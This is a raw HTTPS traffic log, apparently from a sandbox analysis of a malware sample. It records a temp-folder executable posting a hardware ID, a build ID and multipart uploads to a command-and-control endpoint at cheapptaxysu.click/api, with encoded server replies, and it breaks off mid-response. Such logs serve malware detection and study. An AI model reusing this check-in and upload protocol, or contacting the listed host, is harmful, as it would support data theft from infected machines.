                                                                                                                                                                                                                                                                                  1192.168.2.449810104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:31 UTC355OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 50
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:31 UTC50OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 26 6a 3d
                                                                                                                                                                                                                                                                                  Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--geopoxid&j=
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1126INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:31 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=ie8rthc34kaa2v9nph3efu50qu; expires=Wed, 16 Apr 2025 05:02:10 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uL5onaG8p5Ee5i06fukltER7DpAzKKmN6aNtFOsVMqbhJgE%2FTnlQ%2F1jOGJwnvHUo1RxA8DQHQuo0GedxZj78AWdjdsirZc2jiWd50I0K3bxB4rNSa7B0goXcPihlwSZ5dd4Mbio%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f57746a8b85428e-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1562&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1041&delivery_rate=1869398&cwnd=222&unsent_bytes=0&cid=d31cdb79fed0170c&ts=778&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC243INData Raw: 34 39 31 63 0d 0a 6a 68 48 32 76 5a 37 41 55 75 4a 42 61 72 44 66 72 50 46 74 4b 44 72 4a 6f 4a 34 67 6d 45 6c 31 38 4b 52 2f 51 7a 42 37 6b 2b 72 31 4d 34 43 66 70 50 52 2b 77 44 49 50 6b 75 58 59 67 78 68 4e 46 75 76 42 2b 67 4b 69 4c 78 53 63 31 78 70 76 45 67 33 2b 79 4c 52 33 6c 39 48 74 70 58 37 41 4a 42 4b 53 35 66 65 4b 54 30 31 55 36 35 71 38 52 66 49 72 46 4a 7a 47 48 69 68 66 43 2f 2b 4a 35 6e 32 52 31 66 75 6a 4e 6f 4d 74 42 39 57 36 79 5a 41 48 52 6c 4f 6b 79 50 4d 43 74 47 73 51 69 6f 5a 46 59 58 30 65 35 34 76 44 63 49 58 57 76 4c 31 2b 6d 57 4d 50 33 76 32 57 30 77 78 4e 57 4b 58 47 2b 6b 76 77 49 52 32 55 78 78 73 70 51 42 4c 31 67 75 5a 7a 6b 74 54 78 71 69 4b 4f 4a 77 44 65 76 4d 4f 51 54 77 51 59 72
                                                                                                                                                                                                                                                                                  Data Ascii: 491cjhH2vZ7AUuJBarDfrPFtKDrJoJ4gmEl18KR/QzB7k+r1M4CfpPR+wDIPkuXYgxhNFuvB+gKiLxSc1xpvEg3+yLR3l9HtpX7AJBKS5feKT01U65q8RfIrFJzGHihfC/+J5n2R1fujNoMtB9W6yZAHRlOkyPMCtGsQioZFYX0e54vDcIXWvL1+mWMP3v2W0wxNWKXG+kvwIR2UxxspQBL1guZzktTxqiKOJwDevMOQTwQYr
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 4e 71 38 47 72 70 34 4a 5a 48 58 44 44 52 66 43 66 66 49 38 7a 32 4e 6e 2f 75 75 63 4e 68 6a 41 4e 36 7a 79 35 41 41 54 56 6d 72 30 50 4e 43 2b 53 4d 66 6c 73 77 53 4c 6c 30 58 2b 34 2f 6b 65 70 50 51 2b 36 6f 32 6a 79 42 49 6e 50 33 4a 69 30 38 53 47 49 76 53 2f 30 48 75 4a 67 62 53 32 56 4d 34 45 68 37 39 79 4c 51 7a 6b 74 48 39 72 7a 43 53 4b 77 50 5a 75 4e 79 59 42 6b 64 56 71 38 2f 32 54 66 6b 72 45 4a 6a 4d 45 69 74 57 46 50 79 4f 37 48 50 55 6b 62 79 6c 4b 4d 42 37 53 50 47 34 33 70 51 44 58 42 71 52 67 75 4d 4d 34 32 73 51 6e 6f 5a 46 59 56 6f 63 38 6f 76 6e 66 4a 66 58 39 37 41 77 6b 69 55 46 31 36 2f 49 6c 67 46 41 57 37 6e 49 38 6b 54 35 49 68 79 62 77 78 6f 6c 45 6c 65 78 6a 2f 51 7a 7a 4a 2f 64 72 7a 75 4d 4b 52 2f 53 2f 64 48 64 46 67 70 66
                                                                                                                                                                                                                                                                                  Data Ascii: Nq8Grp4JZHXDDRfCffI8z2Nn/uucNhjAN6zy5AATVmr0PNC+SMflswSLl0X+4/kepPQ+6o2jyBInP3Ji08SGIvS/0HuJgbS2VM4Eh79yLQzktH9rzCSKwPZuNyYBkdVq8/2TfkrEJjMEitWFPyO7HPUkbylKMB7SPG43pQDXBqRguMM42sQnoZFYVoc8ovnfJfX97AwkiUF16/IlgFAW7nI8kT5IhybwxolElexj/QzzJ/drzuMKR/S/dHdFgpf
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 54 31 4a 68 76 53 69 46 30 6d 53 6c 6d 70 79 4d 5a 77 67 4e 7a 32 34 41 57 44 4c 51 62 56 71 34 36 4d 51 56 4d 59 72 4d 36 38 47 72 6f 6d 46 70 72 41 44 79 35 66 47 76 2b 47 34 33 61 62 31 2f 79 69 50 59 55 6e 41 39 6d 2b 77 35 63 64 51 46 69 6a 78 2f 31 49 38 47 74 5a 30 73 45 46 59 51 70 5a 77 4a 2f 6e 4d 61 48 63 38 71 77 33 6c 6d 4d 58 6e 4b 53 4f 6c 41 4d 4b 41 4f 76 50 39 45 66 2f 4a 42 61 59 79 42 67 72 58 68 48 2f 69 2f 35 38 6b 4e 2f 77 71 6a 71 4e 4c 51 7a 61 74 4d 57 59 43 55 70 5a 6f 59 4b 79 41 76 30 7a 56 38 71 47 4b 53 5a 65 46 50 37 4b 32 58 43 61 30 66 75 30 63 4a 39 74 45 5a 4b 36 77 74 4e 58 43 6c 53 69 77 76 64 49 2f 69 73 51 6e 38 4d 65 4a 6c 45 55 39 6f 4c 69 64 4a 44 54 39 61 38 32 67 43 51 4d 31 36 2f 4c 6d 67 4e 47 47 4f 57 43 2b
                                                                                                                                                                                                                                                                                  Data Ascii: T1JhvSiF0mSlmpyMZwgNz24AWDLQbVq46MQVMYrM68GromFprADy5fGv+G43ab1/yiPYUnA9m+w5cdQFijx/1I8GtZ0sEFYQpZwJ/nMaHc8qw3lmMXnKSOlAMKAOvP9Ef/JBaYyBgrXhH/i/58kN/wqjqNLQzatMWYCUpZoYKyAv0zV8qGKSZeFP7K2XCa0fu0cJ9tEZK6wtNXClSiwvdI/isQn8MeJlEU9oLidJDT9a82gCQM16/LmgNGGOWC+
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 4f 30 73 45 52 59 51 70 5a 2b 49 48 2b 66 5a 72 57 38 61 51 34 68 79 30 46 32 62 76 46 6c 41 68 4d 56 61 50 50 2b 55 48 37 4c 78 32 41 78 52 59 72 58 78 4f 78 78 71 78 30 6a 4a 2b 6b 34 68 65 4d 43 68 6a 4a 72 39 6a 54 45 41 52 42 36 38 58 77 41 71 4a 72 46 4a 33 50 45 69 6c 61 46 76 36 4d 34 6e 57 53 30 76 6d 74 4f 70 49 72 42 74 2b 32 77 5a 67 64 53 6c 57 76 7a 76 68 4b 38 53 46 58 33 49 59 61 4f 52 4a 42 73 62 33 68 66 4a 54 63 36 75 49 76 7a 6a 70 49 31 62 47 4f 79 30 39 47 56 71 76 4e 38 45 37 78 49 78 61 65 79 42 6f 6b 57 78 48 35 6d 75 31 33 6e 4e 37 79 72 54 47 45 4a 67 33 57 75 73 71 56 41 41 6f 57 36 38 58 6b 41 71 4a 72 4f 4c 58 7a 58 77 42 6f 57 65 37 47 39 54 4f 54 30 37 7a 36 63 49 77 67 42 4e 71 79 79 4a 6f 44 51 46 47 67 7a 76 64 47 39 69
                                                                                                                                                                                                                                                                                  Data Ascii: O0sERYQpZ+IH+fZrW8aQ4hy0F2bvFlAhMVaPP+UH7Lx2AxRYrXxOxxqx0jJ+k4heMChjJr9jTEARB68XwAqJrFJ3PEilaFv6M4nWS0vmtOpIrBt+2wZgdSlWvzvhK8SFX3IYaORJBsb3hfJTc6uIvzjpI1bGOy09GVqvN8E7xIxaeyBokWxH5mu13nN7yrTGEJg3WusqVAAoW68XkAqJrOLXzXwBoWe7G9TOT07z6cIwgBNqyyJoDQFGgzvdG9i
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 48 43 42 55 43 2f 61 42 2f 6e 32 5a 30 50 53 71 4f 59 45 6e 44 64 2b 37 77 70 6b 4f 54 56 61 6c 79 72 77 4d 75 69 77 50 30 70 35 64 41 45 49 43 34 35 37 68 55 70 6e 51 76 4c 31 2b 6d 57 4d 50 33 76 32 57 30 77 5a 59 58 4b 62 51 39 55 58 30 4a 42 53 41 78 78 41 71 51 42 37 2b 6a 4f 74 2f 6b 74 44 36 6f 7a 57 4b 4c 77 2f 58 74 73 47 66 54 77 51 59 72 4e 71 38 47 72 6f 46 48 49 48 52 48 69 39 5a 44 2b 72 49 38 7a 32 4e 6e 2f 75 75 63 4e 68 6a 43 39 6d 32 79 70 4d 44 53 6c 79 6d 77 75 35 4e 2f 53 77 65 6d 64 51 58 4a 6c 55 53 2b 59 50 6a 64 59 62 54 38 72 41 31 6b 6a 46 49 6e 50 33 4a 69 30 38 53 47 4a 33 46 37 46 4c 35 61 53 61 45 78 51 73 71 58 78 57 78 6c 36 4a 71 31 4e 6a 77 34 6d 6a 41 4a 51 66 62 76 73 47 53 42 6b 5a 56 72 73 76 35 51 2f 77 76 48 5a 6a
                                                                                                                                                                                                                                                                                  Data Ascii: HCBUC/aB/n2Z0PSqOYEnDd+7wpkOTValyrwMuiwP0p5dAEIC457hUpnQvL1+mWMP3v2W0wZYXKbQ9UX0JBSAxxAqQB7+jOt/ktD6ozWKLw/XtsGfTwQYrNq8GroFHIHRHi9ZD+rI8z2Nn/uucNhjC9m2ypMDSlymwu5N/SwemdQXJlUS+YPjdYbT8rA1kjFInP3Ji08SGJ3F7FL5aSaExQsqXxWxl6Jq1Njw4mjAJQfbvsGSBkZVrsv5Q/wvHZj
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 67 61 2f 6b 61 78 30 6d 4a 2b 6b 34 6a 4f 48 49 41 6e 59 74 4d 4b 63 43 45 35 4b 6f 63 58 75 51 2f 73 67 47 70 37 47 45 43 78 59 47 50 69 46 34 48 36 54 32 50 4f 6e 63 4d 35 6a 44 38 72 39 6c 74 4d 75 52 31 4f 6e 6d 61 59 43 35 57 55 4f 30 73 45 52 59 51 70 5a 38 59 4c 70 65 5a 6e 63 38 36 45 69 67 53 55 61 30 72 44 45 67 51 56 42 58 61 62 50 38 55 48 38 4c 52 79 65 31 42 51 68 55 52 4b 78 78 71 78 30 6a 4a 2b 6b 34 68 4f 58 4e 51 4c 56 73 64 69 59 44 6b 6c 4f 70 74 4b 38 44 4c 6f 36 45 49 4f 47 52 54 64 43 44 76 61 58 6f 6d 72 55 32 50 44 69 61 4d 41 6c 41 64 53 36 79 4a 30 64 54 31 36 6b 7a 66 56 4c 2f 69 4d 55 6b 73 49 5a 4a 6c 63 61 2f 59 50 72 63 4a 76 62 39 61 77 35 6a 32 4e 47 6b 72 72 57 30 31 63 4b 65 62 44 42 38 45 2b 36 4e 46 6d 4c 68 68 6f 74
                                                                                                                                                                                                                                                                                  Data Ascii: ga/kax0mJ+k4jOHIAnYtMKcCE5KocXuQ/sgGp7GECxYGPiF4H6T2POncM5jD8r9ltMuR1OnmaYC5WUO0sERYQpZ8YLpeZnc86EigSUa0rDEgQVBXabP8UH8LRye1BQhURKxxqx0jJ+k4hOXNQLVsdiYDklOptK8DLo6EIOGRTdCDvaXomrU2PDiaMAlAdS6yJ0dT16kzfVL/iMUksIZJlca/YPrcJvb9aw5j2NGkrrW01cKebDB8E+6NFmLhhot
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 69 30 4d 37 54 55 36 71 63 33 6c 6d 45 39 30 62 50 41 6c 42 6b 4b 52 35 53 4d 76 45 33 67 61 30 2b 72 33 31 30 6d 58 6c 6d 70 79 50 6c 30 6c 4e 6a 6d 74 44 65 4d 4d 67 50 66 73 65 79 63 43 46 78 62 70 4d 48 74 53 37 59 67 47 74 4b 49 58 53 5a 4b 57 61 6e 49 77 33 53 43 33 4e 4f 68 49 59 6c 6a 52 70 4b 36 32 4e 4e 58 43 6d 62 72 30 50 39 53 2b 53 51 47 72 49 5a 46 4f 47 78 5a 2b 70 37 72 59 35 66 4a 39 36 38 38 6b 52 31 49 69 75 6d 63 77 56 30 59 43 72 53 43 34 33 32 30 61 78 62 53 6e 69 51 34 45 67 2b 78 30 4c 34 39 31 4d 32 38 2b 6e 44 48 49 42 72 41 75 38 32 46 44 41 31 6d 6c 65 58 71 53 50 30 37 45 49 58 4a 58 57 38 53 46 72 48 51 31 54 4f 64 32 4f 65 7a 4a 6f 30 7a 44 35 4b 43 67 4e 4d 58 43 67 44 72 39 2f 39 4d 39 43 77 42 67 34 73 36 4e 31 67 65 34
                                                                                                                                                                                                                                                                                  Data Ascii: i0M7TU6qc3lmE90bPAlBkKR5SMvE3ga0+r310mXlmpyPl0lNjmtDeMMgPfseycCFxbpMHtS7YgGtKIXSZKWanIw3SC3NOhIYljRpK62NNXCmbr0P9S+SQGrIZFOGxZ+p7rY5fJ9688kR1IiumcwV0YCrSC4320axbSniQ4Eg+x0L491M28+nDHIBrAu82FDA1mleXqSP07EIXJXW8SFrHQ1TOd2OezJo0zD5KCgNMXCgDr9/9M9CwBg4s6N1ge4
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 5a 30 4c 43 73 4f 34 41 6b 47 4d 53 6d 67 70 73 4d 55 45 4b 56 2f 4e 64 4f 2f 43 77 4e 6c 63 41 37 41 52 4a 58 73 59 65 73 4b 36 32 66 74 4f 49 50 7a 6d 4d 51 6b 75 57 4f 70 67 78 45 56 71 7a 55 37 51 2f 53 43 43 32 6f 68 44 45 6d 52 31 76 46 6a 2f 78 69 6e 39 4c 77 34 6e 37 41 4a 55 69 4b 37 59 44 54 43 31 73 59 38 35 4b 75 47 61 39 34 51 4d 4b 55 41 6d 39 4c 57 65 66 49 74 43 48 61 6e 2b 37 69 61 4d 42 6b 43 38 43 76 79 4a 41 5a 53 52 2b 56 2f 4e 74 4d 2f 53 6f 42 67 74 45 53 48 32 77 4d 38 6f 62 69 64 49 4c 4f 76 4f 78 77 6a 32 4e 51 36 2f 32 47 30 7a 41 45 47 4c 4f 43 70 41 4c 50 4b 42 6d 63 77 51 73 77 48 7a 37 2f 6a 2b 31 6c 68 4d 6a 7a 34 6e 37 41 4a 55 69 4b 37 34 44 54 43 31 73 59 38 35 4b 75 47 61 39 34 51 4d 4b 55 41 6d 39 4c 57 65 66 49 74 43
                                                                                                                                                                                                                                                                                  Data Ascii: Z0LCsO4AkGMSmgpsMUEKV/NdO/CwNlcA7ARJXsYesK62ftOIPzmMQkuWOpgxEVqzU7Q/SCC2ohDEmR1vFj/xin9Lw4n7AJUiK7YDTC1sY85KuGa94QMKUAm9LWefItCHan+7iaMBkC8CvyJAZSR+V/NtM/SoBgtESH2wM8obidILOvOxwj2NQ6/2G0zAEGLOCpALPKBmcwQswHz7/j+1lhMjz4n7AJUiK74DTC1sY85KuGa94QMKUAm9LWefItC
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:32 UTC1369INData Raw: 70 58 4b 67 4a 42 37 52 2f 59 44 54 41 77 6f 41 36 38 50 32 55 76 63 6b 45 4e 37 42 42 79 59 53 56 37 47 47 72 43 76 55 33 76 61 79 50 59 38 6b 52 4e 53 7a 77 4e 4d 51 42 45 48 72 31 4c 77 61 71 57 56 58 67 49 5a 46 59 52 55 61 34 35 72 71 63 49 4c 63 75 35 77 4f 72 54 45 50 77 72 36 4d 6f 67 4a 4f 54 72 37 42 37 45 58 45 46 54 71 41 77 51 30 69 45 43 6a 6e 69 2b 78 39 6b 35 2b 79 34 69 6a 41 65 30 6a 2f 72 38 6d 44 44 41 6f 57 36 38 36 38 47 72 6f 6d 42 5a 58 57 48 6d 31 56 41 2f 62 49 38 7a 32 4e 6e 2b 72 69 61 4e 4e 74 53 4d 44 39 6c 74 4e 49 52 46 57 71 77 66 4a 42 36 44 6b 52 6b 64 41 65 5a 6d 77 6e 33 4a 72 72 59 35 65 64 7a 61 38 30 6c 6a 59 4c 77 72 72 77 72 53 4a 59 58 37 76 42 76 6d 37 39 4a 68 75 73 2b 43 6f 77 56 51 6d 7a 72 75 39 6c 6c 35 2b
                                                                                                                                                                                                                                                                                  Data Ascii: pXKgJB7R/YDTAwoA68P2UvckEN7BByYSV7GGrCvU3vayPY8kRNSzwNMQBEHr1LwaqWVXgIZFYRUa45rqcILcu5wOrTEPwr6MogJOTr7B7EXEFTqAwQ0iECjni+x9k5+y4ijAe0j/r8mDDAoW6868GromBZXWHm1VA/bI8z2Nn+riaNNtSMD9ltNIRFWqwfJB6DkRkdAeZmwn3JrrY5edza80ljYLwrrwrSJYX7vBvm79Jhus+CowVQmzru9ll5+


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  2192.168.2.449816104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:33 UTC374OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: multipart/form-data; boundary=Q16GXYS6BSXCA0GFZKD
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 18172
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:33 UTC15331OUTData Raw: 2d 2d 51 31 36 47 58 59 53 36 42 53 58 43 41 30 47 46 5a 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 31 36 47 58 59 53 36 42 53 58 43 41 30 47 46 5a 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 31 36 47 58 59 53 36 42 53 58 43 41 30 47 46 5a 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65
                                                                                                                                                                                                                                                                                  Data Ascii: --Q16GXYS6BSXCA0GFZKDContent-Disposition: form-data; name="hwid"EF0A84DC8EFCB5E6AC8923850305D13E--Q16GXYS6BSXCA0GFZKDContent-Disposition: form-data; name="pid"2--Q16GXYS6BSXCA0GFZKDContent-Disposition: form-data; name="lid"CZJvss--ge
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:33 UTC2841OUTData Raw: ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70
                                                                                                                                                                                                                                                                                  Data Ascii: e,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)p
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:34 UTC1135INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:34 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=s8293frf7j9gjmlfj5c6cih4oe; expires=Wed, 16 Apr 2025 05:02:13 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EtL3xxhY2TyUl%2BUxkYTzZyppfhoLvPzp0hscaFQt%2BuZYEZG0v9rFmlsIeV8hlsErBD634wHTWND4qZMVRj%2FXMkXkAkCevnhvUdGb9Em43%2F%2FdOBU6wNCHYWeCrWE27xpj4EGuNAY%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f577478cfc57cf6-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1954&min_rtt=1941&rtt_var=755&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19226&delivery_rate=1423001&cwnd=193&unsent_bytes=0&cid=010ee4b1a69b15bc&ts=959&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:34 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:34 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  3192.168.2.449825104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:36 UTC365OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: multipart/form-data; boundary=MVU42RO0L29
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 8745
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:36 UTC8745OUTData Raw: 2d 2d 4d 56 55 34 32 52 4f 30 4c 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 56 55 34 32 52 4f 30 4c 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 56 55 34 32 52 4f 30 4c 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 4d 56 55 34 32 52 4f 30 4c 32 39 0d 0a 43
                                                                                                                                                                                                                                                                                  Data Ascii: --MVU42RO0L29Content-Disposition: form-data; name="hwid"EF0A84DC8EFCB5E6AC8923850305D13E--MVU42RO0L29Content-Disposition: form-data; name="pid"2--MVU42RO0L29Content-Disposition: form-data; name="lid"CZJvss--geopoxid--MVU42RO0L29C
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:37 UTC1128INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:36 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=qmo4hfsbfr9urog7tt3sl8rmos; expires=Wed, 16 Apr 2025 05:02:15 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
